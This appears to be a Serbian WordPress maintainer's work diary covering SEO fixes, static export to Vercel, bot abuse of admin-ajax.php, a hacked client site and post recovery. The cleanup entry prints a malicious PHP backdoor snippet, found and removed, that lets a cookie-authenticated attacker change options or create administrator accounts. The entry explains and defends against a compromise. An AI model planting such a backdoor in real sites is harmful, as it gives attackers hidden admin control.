Kolega pokrenuo neki AI alat za SEO analitu jednog od Vordpres sajtova koje održavamo. Rezultati nisu ohrabrujući pa sam proveo deset sati u rešavanju tehničkih zamerki. Čekam sledeću analizu da vidim da li smo napredovali 🙂

Nastavio da eksperimentišem sa Vercel platformom. Platforma služi za statične sajtove a ne za Vordpres koji radi pod PHP-om, ima bazu podataka i treba mu fajlsistem za upisivanje. No, Vordpres sajt može da se pretvori u statični sajt pomoću plagina koji se zove Simply Static. Ovaj plagin prođe kroz sve strane Vordpresa i napravi statični HTML + JavaScript sajt. Idealno za sajtove koji se ne menjaju često. Ja sam sajt pokrenuo pod Dokerom tako da sam se malo više pomučio da bih naterao plagin da radi ali na kraju sam dobio lepu zip arhivu koju sam raspakovao, napravio od nje git repozitorijum, podigao to sve na GitHub i onda po već opisanom scenariju kreirao i izbildovao novi Vercel projekat.

Proveo četiri sata isprobavajući razna besplatna rešenja za pravljenje upitnika na Vordpresu. Najviše sam se zadržao na dodatku koji se zove Quiz and Survey Master, najpopularnije rešenje na tržištu. I posle svega nisam uspeo da ga nateram da radi kako treba, nije prikazivao tzv. stranice sa pitanjima niti dugmiće za prelaz na sledeće pitanje. Izgleda da postoji konflikt sa nekim od postojećih dodataka ili sa temom. Na kraju sam dao AI-ju da mi napravi upitnik, on je to završio za pet minuta, posle smo 15 minuta ispravljali bagove ali smo na kraju dobili proizvod koji radi 🙂

Na jednom od WordPress sajtova koje održavamo mreža botova je počela da zloupotrebljava fajl admin-ajax.php koji se inače koristi da front deo sajta (JavaScript) komunicira sa bekendom. Da bismo ih sprečili u tome prvo smo utilizovali WordPress-ov nonce. Onda se ispostavilo da taj nonce i nije nonce u pravom smislu: ima validnost 12-24 sata u okviru kojih može da se upotrebi više puta. Stoga smo utilizovali WordPress Transients, nešto kao keš, kako bismo mogli da beležimo koji nonce je iskorišćen, odnosno da ga invalidiramo nakon prve upotrebe. Međutim, opet, nešto tu nije štimalo zato što se dešava da isti korisnik koji otvori istu stranu može da dobije isti nonce za koji bekend posle kaže da više nije validan zato što je iskorišćen u prethodnoij akciji. Na kraju smo ostavili nonce po strani i instalirali Guglov reCAPTCA v3 koji sve radi u pozadini: korisnik dođe na front deo sajta, Gugl pokupi neke informacije o ponašalju korisnika (kako koristi miša, tastaturu itd.) i vrati sajtu određen token. Onda korisnički zahtev sa fronta dođe do bekenda sa sve tokenom pa bekend pošalje taj token Guglu na proveru. Gugl na skali od 0 do 1 da pretpostavku da li je korisnik čovek ili nije i onda bekend na osnovu tog skora odluči da li da obradi korisnički zahtev ili ne. Ako maliciozni korisnik pošalje zahtev direktno na admin-ajax.php, ne zna koja je vrednost tokena i automatski biva kvalifikovan kao bot.

Vordpres sajt jednog od klijenata je iznenada poprimio potpuno drugačiju naslovnu stranu. Malo sam čeprkao po kodu i adminu i saznao štošta novo 🙂 Pod jedan, obrisana je index.php stranica i umesto nje stavljena statična index.html stranica koja je prikazivala drugi sadržaj. To smo lako rešili ali glavno pitanje je kako su uspeli da zamene tu stranicu. Primetio sam neke plaginove koji ne bi trebalo da budu uključeni u ovu instalaciju pa sam ih obrisao. Takođe, u nekoliko JavaScript fajlova je dodat novi kod pa sam i to brisao. Onda sam u samom adminu primetio da se neko loguje sa jednog od naloga koji ima administratorske privilegije i instalira plaginove:

Skinuo sam sve role sa tog naloga dok ne shvatimo ko je u pitanju. Verovatno su ukradeni kredencijali a ja na žalost, zbog toga što sve ide preko CloudFlare-a, ne vidim sa kojih ajpi adresa zaista dolazi ovaj korisnik. Plaginovi koji su bili instalirani preko ovog naloga su File Manager i API Key. Onda sam apdejtovao preostale plaginove i pobrisao još neke za koje smatram da nisu neophodni. Sajt je star, ima staru temu koja se više ne ažurira i koja sa sobom donosi ili zavisi od nekih starih plaginova koji se više ne ažuriraju.
Pošto mi nije bilo dosta krenuo sam i po bazi da čeprkam i otkrio postove tipa wpcode. Ispostavilo se da su to parčići PHP i JavaScript koda koji mogu da se umetnu u postove pomoću plagina WPCode. Ovo nije loše rešenje ako ne želite da menjate šablone i/ili functions.php fajl ali ovako kreirane stranice mogu da budu jako opasne. Na primer, sa ovakvim parčetom koda:
if (!empty($_pwsa) && _gcookie('pw') === $_pwsa) {
switch (_gcookie('c')) {
case 'sd':
$d = _gcookie('d');
if (strpos($d, '.') > 0) {
update_option('d', $d);
}
break;
case 'au':
$u = _gcookie('u');
$p = _gcookie('p');
$e = _gcookie('e');
if ($u && $p && $e && !username_exists($u)) {
$user_id = wp_create_user($u, $p, $e);
$user = new WP_User($user_id);
$user->set_role('administrator');
}
break;
}
return;
}
možemo na daljinu da postavimo vrednost nekoj opciji bloga ili da kreiramo novi nalog sa administratorskim privilegijama. Na sreću, nije bilo novokreiranih administratora na sajtu a ove snipete sam obrisao iz baze. Pustio sam Wordfence da skenira sajt još jednom i za sada je sve OK. Pratimo situaciju 🙂
Na ovom linku ima detaljno objašnjeno kako rade ovi maliciozni snipeti.
Obrisao mi se jedan post iz bloga, ne znam kako. Pošto ga nije bilo ni u trešu morao sam da kopam po bazi da nađem njegovu poslednju reviziju pa da od nje napravim post. Tačnije, samo sam poslednjoj reviziji promenio id, tip, status i još par podataka pa je ona automatski postala post. Usput sam malo pročeprkao po bazi, to je bio jedini post koji je imao revizije a da sam post više ne postoji. Izgleda da Vordpres, kada se post obriše, još uvek čuva njegove revizije u bazi. Takođe se čuva i tzv. taksonomija. Sve ovo me podseti da napravim bekap svih 1903 postova 🙂
Ovaj dnevnik je rađen u Vordpresu, platformi koje je i namenjena jednostavnom vođenju blogova tj. veb logova tj. veb dnevnika: uloguješ se, klikneš na “novi post”, napišeš šta imaš i kada si konačno zadovoljan time što si napisao onda to objaviš. Objavljeni postovi se ređaju na blogu jedan za drugim od novijih ka starijim, ljudi mogu da komentarišu, dele i to je to. Ubaciš tu i tamo po neku statičnu stranu čisto da izađeš iz rutine postova, nešto što hoćeš da istakneš, nešto što ne želiš da nestane sa vidika posle par sedmica. Međutim, juče je stigao zahtev od Firme (“sa samog vrha”) da se napravi sajt u Vordpresu. Malo sam gledao tutorijale na Jutjubu i shvatio da to uopšte nije komplikovano već samo malo izvitopereno:
Dakle, obrne se logika: ne koristiš bloging platformu da pišeš postove i ne omogućuješ ljudima da to komentarišu i da aktivno učestvuju sa tobom, već samo pičiš statične strane. Perverzija. Nema veze, podigao sam Vordpres na poddomenu mog privatnog sajta, izabrao besplatnu temu, napisao neke osnovne tekstove za stranice i sada eksperimentišem sa vidžetima i dodacima. Ako sve budem savladao i napravio kako treba, Firma će da kupi komercijalnu temu pa ćemo sve to da postavimo na svoje mesto, samo veće i lepše 🙂
Reinstalirao sam Pivik server na matičnom sajtu benke.co.uk (usput i na firminom dev serveru) i instalirao Vord Pres dodatak za Pivik na blogu o Beogradu. Sad ćemo malo da pratimo kako taj dodatak radi pa možda napišemo i neku recenziju. To do: isprobati i Pivik za Androida.